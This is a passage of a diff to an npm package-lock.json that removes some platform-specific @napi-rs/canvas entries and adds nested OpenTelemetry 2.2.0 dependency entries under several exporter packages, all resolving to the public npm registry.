"https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/@napi-rs/canvas-linux-x64-gnu": { + "version": "0.1.88", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-x64-gnu/-/canvas-linux-x64-gnu-0.1.88.tgz", + "integrity": "sha512-hvcvKIcPEQrvvJtJnwD35B3qk6umFJ8dFIr8bSymfrSMem0EQsfn1ztys8ETIFndTwdNWJKWluvxztA41ivsEw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/@napi-rs/canvas-linux-x64-musl": { + "version": "0.1.88", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-x64-musl/-/canvas-linux-x64-musl-0.1.88.tgz", + "integrity": "sha512-eSMpGYY2xnZSQ6UxYJ6plDboxq4KeJ4zT5HaVkUnbObNN6DlbJe0Mclh3wifAmquXfrlgTZt6zhHsUgz++AK6g==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/@napi-rs/canvas-win32-arm64-msvc": { + "version": "0.1.88", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-win32-arm64-msvc/-/canvas-win32-arm64-msvc-0.1.88.tgz", + "integrity": "sha512-qcIFfEgHrchyYqRrxsCeTQgpJZ/GqHiqPcU/Fvw/ARVlQeDX1VyFH+X+0gCR2tca6UJrq96vnW+5o7buCq+erA==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/@napi-rs/canvas-win32-x64-msvc": { + "version": "0.1.88", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-win32-x64-msvc/-/canvas-win32-x64-msvc-0.1.88.tgz", + "integrity": "sha512-ROVqbfS4QyZxYkqmaIBBpbz/BQvAR+05FXM5PAtTYVc0uyY8Y4BHJSMdGAaMf6TdIVRsQsiq+FG/dH9XhvWCFQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, "node_modules/@napi-rs/wasm-runtime": { "version": "0.2.12", "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-0.2.12.tgz", @@ -12909,9 +12865,9 @@ } }, "node_modules/@opentelemetry/api-logs": { - "version": "0.208.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.208.0.tgz", - "integrity": "sha512-CjruKY9V6NMssL/T1kAFgzosF1v9o6oeN+aX5JB/C/xPNtmgIJqcXHG7fA82Ou1zCpWGl4lROQUKwUNE1pMCyg==", + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.211.0.tgz", + "integrity": "sha512-swFdZq8MCdmdR22jTVGQDhwqDzcI4M10nhjXkLr1EsIzXgZBqm4ZlmmcWsg3TSNf+3mzgOiqveXmBLZuDi2Lgg==", "license": "Apache-2.0", "peer": true, "dependencies": { @@ -12934,10 +12890,11 @@ } }, "node_modules/@opentelemetry/core": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", - "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", "license": "Apache-2.0", + "peer": true, "dependencies": { "@opentelemetry/semantic-conventions": "^1.29.0" }, @@ -12980,6 +12937,21 @@ "node": ">=8.0.0" } }, + "node_modules/@opentelemetry/exporter-logs-otlp-grpc/node_modules/@opentelemetry/core": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", + "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-logs-otlp-grpc/node_modules/@opentelemetry/otlp-exporter-base": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.207.0.tgz", @@ -13017,6 +12989,22 @@ "@opentelemetry/api": "^1.3.0" } }, + "node_modules/@opentelemetry/exporter-logs-otlp-grpc/node_modules/@opentelemetry/resources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", + "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-logs-otlp-grpc/node_modules/@opentelemetry/sdk-logs": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.207.0.tgz", @@ -13034,6 +13022,39 @@ "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, + "node_modules/@opentelemetry/exporter-logs-otlp-grpc/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.2.0.tgz", + "integrity": "sha512-G5KYP6+VJMZzpGipQw7Giif48h6SGQ2PFKEYCybeXJsOCB4fp8azqMAAzE5lnnHK3ZVwYQrgmFbsUJO/zOnwGw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-grpc/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.2.0.tgz", + "integrity": "sha512-xWQgL0Bmctsalg6PaXExmzdedSp3gyKV8mQBwK/j9VGdCDu2fmXIb2gAehBKbkXCpJ4HPkgv3QfoJWRT4dHWbw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-logs-otlp-http": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-http/-/exporter-logs-otlp-http-0.207.0.tgz", @@ -13065,6 +13086,21 @@ "node": ">=8.0.0" } }, + "node_modules/@opentelemetry/exporter-logs-otlp-http/node_modules/@opentelemetry/core": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", + "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-logs-otlp-http/node_modules/@opentelemetry/otlp-exporter-base": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.207.0.tgz", @@ -13102,6 +13138,22 @@ "@opentelemetry/api": "^1.3.0" } }, + "node_modules/@opentelemetry/exporter-logs-otlp-http/node_modules/@opentelemetry/resources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", + "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-logs-otlp-http/node_modules/@opentelemetry/sdk-logs": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.207.0.tgz", @@ -13119,6 +13171,39 @@ "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, + "node_modules/@opentelemetry/exporter-logs-otlp-http/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.2.0.tgz", + "integrity": "sha512-G5KYP6+VJMZzpGipQw7Giif48h6SGQ2PFKEYCybeXJsOCB4fp8azqMAAzE5lnnHK3ZVwYQrgmFbsUJO/zOnwGw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-http/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.2.0.tgz", + "integrity": "sha512-xWQgL0Bmctsalg6PaXExmzdedSp3gyKV8mQBwK/j9VGdCDu2fmXIb2gAehBKbkXCpJ4HPkgv3QfoJWRT4dHWbw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-logs-otlp-proto": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-proto/-/exporter-logs-otlp-proto-0.207.0.tgz", @@ -13152,6 +13237,21 @@ "node": ">=8.0.0" } }, + "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/core": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", + "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/otlp-exporter-base": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.207.0.tgz", @@ -13189,6 +13289,22 @@ "@opentelemetry/api": "^1.3.0" } }, + "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/resources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", + "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/sdk-logs": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.207.0.tgz", @@ -13206,6 +13322,39 @@ "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, + "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.2.0.tgz", + "integrity": "sha512-G5KYP6+VJMZzpGipQw7Giif48h6SGQ2PFKEYCybeXJsOCB4fp8azqMAAzE5lnnHK3ZVwYQrgmFbsUJO/zOnwGw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.2.0.tgz", + "integrity": "sha512-xWQgL0Bmctsalg6PaXExmzdedSp3gyKV8mQBwK/j9VGdCDu2fmXIb2gAehBKbkXCpJ4HPkgv3QfoJWRT4dHWbw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-metrics-otlp-grpc": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-grpc/-/exporter-metrics-otlp-grpc-0.207.0.tgz", @@ -13240,6 +13389,21 @@ "node": ">=8.0.0" } }, + "node_modules/@opentelemetry/exporter-metrics-otlp-grpc/node_modules/@opentelemetry/core": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", + "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-metrics-otlp-grpc/node_modules/@opentelemetry/otlp-exporter-base": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.207.0.tgz", @@ -13277,6 +13441,22 @@ "@opentelemetry/api": "^1.3.0" } }, + "node_modules/@opentelemetry/exporter-metrics-otlp-grpc/node_modules/@opentelemetry/resources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", + "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-metrics-otlp-grpc/node_modules/@opentelemetry/sdk-logs": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.207.0.tgz", @@ -13294,6 +13474,39 @@ "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, + "node_modules/@opentelemetry/exporter-metrics-otlp-grpc/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.2.0.tgz", + "integrity": "sha512-G5KYP6+VJMZzpGipQw7Giif48h6SGQ2PFKEYCybeXJsOCB4fp8azqMAAzE5lnnHK3ZVwYQrgmFbsUJO/zOnwGw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-grpc/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.2.0.tgz", + "integrity": "sha512-xWQgL0Bmctsalg6PaXExmzdedSp3gyKV8mQBwK/j9VGdCDu2fmXIb2gAehBKbkXCpJ4HPkgv3QfoJWRT4dHWbw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-metrics-otlp-http": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-http/-/exporter-metrics-otlp-http-0.207.0.tgz", @@ -13325,6 +13538,21 @@ "node": ">=8.0.0" } }, + "node_modules/@opentelemetry/exporter-metrics-otlp-http/node_modules/@opentelemetry/core": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", + "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-metrics-otlp-http/node_modules/@opentelemetry/otlp-exporter-base": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.207.0.tgz", @@ -13362,6 +13590,22 @@ "@opentelemetry/api": "^1.3.0" } }, + "node_modules/@opentelemetry/exporter-metrics-otlp-http/node_modules/@opentelemetry/resources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", + "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-metrics-otlp-http/node_modules/@opentelemetry/sdk-logs": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.207.0.tgz", @@ -13379,6 +13623,39 @@ "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, + "node_modules/@opentelemetry/exporter-metrics-otlp-http/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.2.0.tgz", + "integrity": "sha512-G5KYP6+VJMZzpGipQw7Giif48h6SGQ2PFKEYCybeXJsOCB4fp8azqMAAzE5lnnHK3ZVwYQrgmFbsUJO/zOnwGw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-http/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.2.0.tgz", + "integrity": "sha512-xWQgL0Bmctsalg6PaXExmzdedSp3gyKV8mQBwK/j9VGdCDu2fmXIb2gAehBKbkXCpJ4HPkgv3QfoJWRT4dHWbw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-metrics-otlp-proto": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-proto/-/exporter-metrics-otlp-proto-0.207.0.tgz", @@ -13411,6 +13688,21 @@ "node": ">=8.0.0" } }, + "node_modules/@opentelemetry/exporter-metrics-otlp-proto/node_modules/@opentelemetry/core": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", + "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-metrics-otlp-proto/node_modules/@opentelemetry/otlp-exporter-base": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.207.0.tgz", @@ -13448,6 +13740,22 @@ "@opentelemetry/api": "^1.3.0" } }, + "node_modules/@opentelemetry/exporter-metrics-otlp-proto/node_modules/@opentelemetry/resources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", + "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-metrics-otlp-proto/node_modules/@opentelemetry/sdk-logs": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.207.0.tgz", @@ -13465,6 +13773,39 @@ "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, + "node_modules/@opentelemetry/exporter-metrics-otlp-proto/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.2.0.tgz", + "integrity": "sha512-G5KYP6+VJMZzpGipQw7Giif48h6SGQ2PFKEYCybeXJsOCB4fp8azqMAAzE5lnnHK3ZVwYQrgmFbsUJO/zOnwGw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-proto/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.2.0.tgz", + "integrity": "sha512-xWQgL0Bmctsalg6PaXExmzdedSp3gyKV8mQBwK/j9VGdCDu2fmXIb2gAehBKbkXCpJ4HPkgv3QfoJWRT4dHWbw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-prometheus": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-prometheus/-/exporter-prometheus-0.207.0.tgz", @@ -13482,6 +13823,53 @@ "@opentelemetry/api": "^1.3.0" } }, + "node_modules/@opentelemetry/exporter-prometheus/node_modules/@opentelemetry/core": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", + "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-prometheus/node_modules/@opentelemetry/resources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", + "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-prometheus/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.2.0.tgz", + "integrity": "sha512-G5KYP6+VJMZzpGipQw7Giif48h6SGQ2PFKEYCybeXJsOCB4fp8azqMAAzE5lnnHK3ZVwYQrgmFbsUJO/zOnwGw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-trace-otlp-grpc": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-grpc/-/exporter-trace-otlp-grpc-0.207.0.tgz", @@ -13515,6 +13903,21 @@ "node": ">=8.0.0" } }, + "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/core": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", + "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/otlp-exporter-base": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.207.0.tgz", @@ -13552,6 +13955,22 @@ "@opentelemetry/api": "^1.3.0" } }, + "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/resources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", + "integrity": 